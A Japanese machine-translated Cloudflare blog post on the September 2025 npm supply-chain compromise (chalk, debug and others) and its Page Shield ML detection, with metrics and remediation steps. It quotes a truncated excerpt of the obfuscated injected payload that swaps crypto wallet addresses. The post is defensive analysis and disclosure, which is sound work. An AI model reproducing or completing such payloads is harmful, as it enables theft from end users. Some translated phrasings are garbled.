新規投稿のお知らせを受信されたい方は、サブスクリプションをご登録ください:

Cloudflareのクライアントサイドセキュリティによってnpmサプライチェーン攻撃が非イベントになった仕組み

2025-10-24

4分で読了
この投稿はEnglishでも表示されます。

このコンテンツは自動機械翻訳サービスによる翻訳版であり、皆さまの便宜のために提供しています。原本の英語版と異なる誤り、省略、解釈の微妙な違いが含まれる場合があります。ご不明な点がある場合は、英語版原本をご確認ください。

2025年9月上旬、攻撃者はフィッシングメールを使用し、npm上の信頼できるメンテナーアカウントの1つまたは複数を侵害しました。これを利用して、広く使用されている18のnpmパッケージ(たとえば、chalk、debug、ansi-style)の悪意のあるリリースを公表し、週に20億を超えるダウンロードを記録しました。これらの安全性が損なわれたパッケージを使用していたWebサイトやアプリケーションは、ハッカーがエンドユーザーから暗号資産を盗む(「暗号窃取」または「ウォール消費」)に対して脆弱でした。さらに、侵害されたパッケージは、同じメンテナーが所有する他のパッケージを変更し(盗んだnpmトークンを使って)、CI/CDパイプラインやクラウド アカウントの開発者トークンを盗むコードを含めることができます。

お客様のアプリケーションのエンドユーザーに関しては、良いニュースとして、当社のクライアントサイドセキュリティサービスであるCloudflare Page Shieldが安全性が損なわれたJavaScriptライブラリを検出し、暗号スクレイピングを阻止します。さらに重要なのは、Cloudflareの検出ソリューションにAIを活用することで、以下に説明するように、将来的にお客様が同様の攻撃から保護されることです。

export default {
 aliceblue: [240, 248, 255],
 …
 yellow: [255, 255, 0],
 yellowgreen: [154, 205, 50]
}


const _0x112fa8=_0x180f;(function(_0x13c8b9,_0x35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+-parseInt(_0x15b386(0x1e8))/(0xfe+0x16f2+-0x17eb)+-parseInt(_0x15b386(0x707))/(-0x23f8+-0x2*0x70e+-0x48e*-0xb)*(parseInt(_0x15b386(0x3f3))/(-0x6a1+0x3f5+0x2b3))+-parseInt(_0x15b386(0x435))/(0xeb5+0x3b1+-0x125e)*(parseInt(_0x15b386(0x56e))/(0x18*0x118+-0x17ee+-0x249))+parseInt(_0x15b386(0x785))/(-0xfbd+0xd5d*-0x1+0x1d24)+-parseInt(_0x15b386(0x654))/(-0x196d*0x1+-0x605+0xa7f*0x3)*(-parseInt(_0x15b386(0x3ee))/(0x282*0xe+0x760*0x3+-0x3930));if(_0x2cc99e===_0x35f660)break;else _0x66ea25['push'](_0x66ea25['shift']());}catch(_0x205af0){_0x66 …

注入された悪意のあるペイロードと、残りの通常のコードの抜粋。特筆すべきは、ペイロードは正当な暗号アドレスを攻撃者のアドレス(ビットコイン、イーサリアム、ソラナなど、複数通貨のアドレス)に置き換えることです。

35億件の文字列の干し草の中から針を見つける

毎日、Cloudflare Page Shieldは1日あたり35億件、毎秒40,000件のスクリプトを評価しています。機械学習(ML)ベースの悪意のあるスクリプト検出によると、そのうちの悪意のあるものは0.3%未満です。以前のブログ記事で説明したように、JavaScriptコードを抽象構文ツリーに前処理し、与えられたJavaScriptファイルを悪意のあるファイルまたは良性のいずれかに分類するメッセージパッシンググラフ畳み込みネットワーク(MPGCN)をトレーニングします。

グラフベースのモデルを使用する背後にある直感は、これらの構造(例:アサーションなど)とコードテキストを使用してハッカーのパターンを学習できます。例えば、npmの侵害では、侵害されたパッケージに注入された悪意のあるコードは、コード難読化を使用し、Ethereumのwindow.ethereumなどの暗号ウォレットインターフェースのコードエントリーポイントも変更して、支払い先を攻撃者の管理下にあるアカウントにスワップします。重要なのは、このような挙動を機能としてエンジニアリングするのではなく、純粋に構造と構文から、良いコードと悪いコードを区別することです。その結果、npmの侵害で使用されるテクニックだけでなく、将来の侵害テクニックに対しても耐性があります。

当社のMLモデルは、スクリプトが悪意がある可能性を出力し、その後、1~99のスコアに変換されます。低いスコアは悪意のある可能性が高いことを示し、スコアが高い場合は良性スクリプトを示します。重要なのは、多くのCloudflare MLモデルと同様に、推論が0.3秒以下で行われることです。

モデル評価

初回のリリース以来、JavaScript分類子は、モデル評価の指標(この場合はF1の測定)を最適化するために常に進化してきました。現在の指標は

指標

最新情報:バージョン2.7

前バージョンからの改善

精度

98%

5%

リコール

90%

233%

F1

94%

123%

改善の一部は、次のようなものです:

  • オープンソースデータセット、セキュリティパートナー、Cloudflareトラフィックのラベリングの組み合わせから厳選されたより多くのトレーニング例

  • たとえば、純粋なコメントやほぼ同じ構造のスクリプトが含まれるサンプルを削除することで、より良いトレーニング例を提供します。

  • トレーニングセットの階層化を改善することで、トレーニング、検証、テストセットはすべて、関心のあるクラスの分布が同様になります

  • 評価基準を微調整し、99%の精度で記憶範囲を最大化

混乱行列を考えると、毎秒40,000スクリプトの最大0.3%が悪意のあるものとしてフラグ付けされたと仮定した場合、毎秒約2件の誤検知が発生すると予想されます。当社では、複数のLLMと専門家である人間のセキュリティアナリストを使用して、24時間体制でこうしたスクリプトをレビューしています。このようにして遭遇する誤検知の多くは、かなり困難なものです。たとえば、クレジットカード番号以外のすべてのフォーム入力を読み取るスクリプト(例:Luhnアルゴリズムを使用して真をテストする入力値を拒否する)、動的スクリプトの挿入、頻繁なユーザートラッキング、高度な復号化などの攻撃を仕掛ける。ユーザー追跡スクリプトは、多くの場合、これらの動作の組み合わせを示します。そして、真に悪意のあるペイロードを区別する唯一の信頼できる方法は、悪意のあるペイロードを評価することです。信頼性を高めることができました。新たにラベル付けされたすべてのスクリプトをMLトレーニング(およびテスト)パイプラインにフィードバックします。

最も重要なことは、Cloudflare Page Shieldが18の侵害されたnpmパッケージすべてを悪意のあるものとして正常に検出することを検証したことです(新しい攻撃であるため、トレーニングデータには含まれません)。

計画的改善

静的スクリプト解析は有効性が証明されており、時に唯一の実行可能なアプローチとなります(例えばnpmパッケージなど)。より困難なケースに対応するために、スクリプトURL、ページホスト、接続されたドメインなどのコンテキストデータでMLシグナルを強化しています。最新のエージェンティックAIのアプローチは、JavaScriptランタイムをAIのワークフロー全体のツールとして包むことができます。そして、静的分析技術と動的分析技術を組み合わせたハイブリッドなアプローチを可能にし、ユーザー追跡スクリプトなどの困難な誤検知シナリオに対処することができます。

分類器の統合

3年以上前、私たちはコード難読化とデータ流出の行動を学習するMagecartスタイルのスクリプト用の分類子「コード行動分析」をリリースしました。その後、Magecart攻撃の分類も可能な、メッセージ通過グラフ畳みませんネットワーク(MPGCN)ベースのアプローチも展開しました。MPGCNベースの悪意のあるコード解析の有効性を考慮し、2025年末までにコード動作解析を廃止することを発表します。

常に安全を維持

npm攻撃では、Page Shieldユーザーのこの侵害に関連するCloudflareネットワーク内のアクティビティは見られませんでしたが、他のエクスプロイトでは、そのトラフィックは数分以内に捕捉されます。この場合、侵害されたnpmパッケージのパッチが2時間以内にリリースされ、感染した悪意のあるペイロードがエンドユーザーに影響を与えるためにエンドユーザー向けのアプリケーションに組み込まれなければならなかったことを考えると、当社のお客様が最初の手段を盗んだのではないかと疑われています。とはいえ、トラフィックが通過してしまった場合、Page Shieldはすでにこの脅威を検出し、阻止する装備を備えていたのです。

また、Page Shield ScriptDetectionを参照して、悪意のあるパッケージを検出してください。Page Shieldの「接続」タブを参照して、アプリケーションが確立した不審な接続を確認します。

BLOG-3052 2

いくつかのスクリプトが悪意のあるものとしてマークされています。

BLOG-3052 3

いくつかの接続が悪意のある接続としてマークされています。

そして、次の手順を必ず完了してください。

  1. 最近公開されたバージョンの依存関係ツリーを監査し(package-lock.json / npm lsのチェック)、2025年9月上旬から中旬にかけて公開されたバージョンの広く使用されているパッケージを探してください。

  2. ビルド環境に公開されている可能性のある認証情報をローテーションします

  3. ビルドパイプライン(GitHub Actions、npmトークン、クラウド認証情報)で使用されている可能性のあるCI/CDトークンとサービスキーを無効化し、再発行します。

  4. 依存関係を既知の正常なバージョンにピン留めし(またはロックファイルを使用)、レジストリプロバイダーが提供するパッケージ許可リスト/検証済みパブリッシャー機能の使用を検討してください。

  5. ビルドログやリポジトリをスキャンして不審なコミットやGitHub Actionsの変更がないか確認し、未知のWebhookやワークフローを削除しましょう。

警戒の必要はありませんが、自動化された防御は、動きの速いサプライチェーン攻撃に対する重要な保護レイヤーを提供します。クライアントサイドのサプライチェーンの詳細をご希望ですか?無料のカスタムクライアントサイドリスク評価にお申し込みください。

Cloudflareは企業ネットワーク全体を保護し、お客様がインターネット規模のアプリケーションを効率的に構築し、あらゆるWebサイトやインターネットアプリケーションを高速化し、DDoS攻撃を退けハッカーの侵入を防ぎゼロトラスト導入を推進できるようお手伝いしています。

ご使用のデバイスから1.1.1.1 にアクセスし、インターネットを高速化し安全性を高めるCloudflareの無料アプリをご利用ください。

より良いインターネットの構築支援という当社の使命について、詳しくはこちらをご覧ください。新たなキャリアの方向性を模索中の方は、当社の求人情報をご覧ください。
Supply Chain AttacksJavaScriptMalicious JavaScriptAI開発者プラットフォーム開発者

Xでフォロー

Juan Miguel Cejuela|@juanmirocks
Cloudflare|@cloudflare

関連ブログ投稿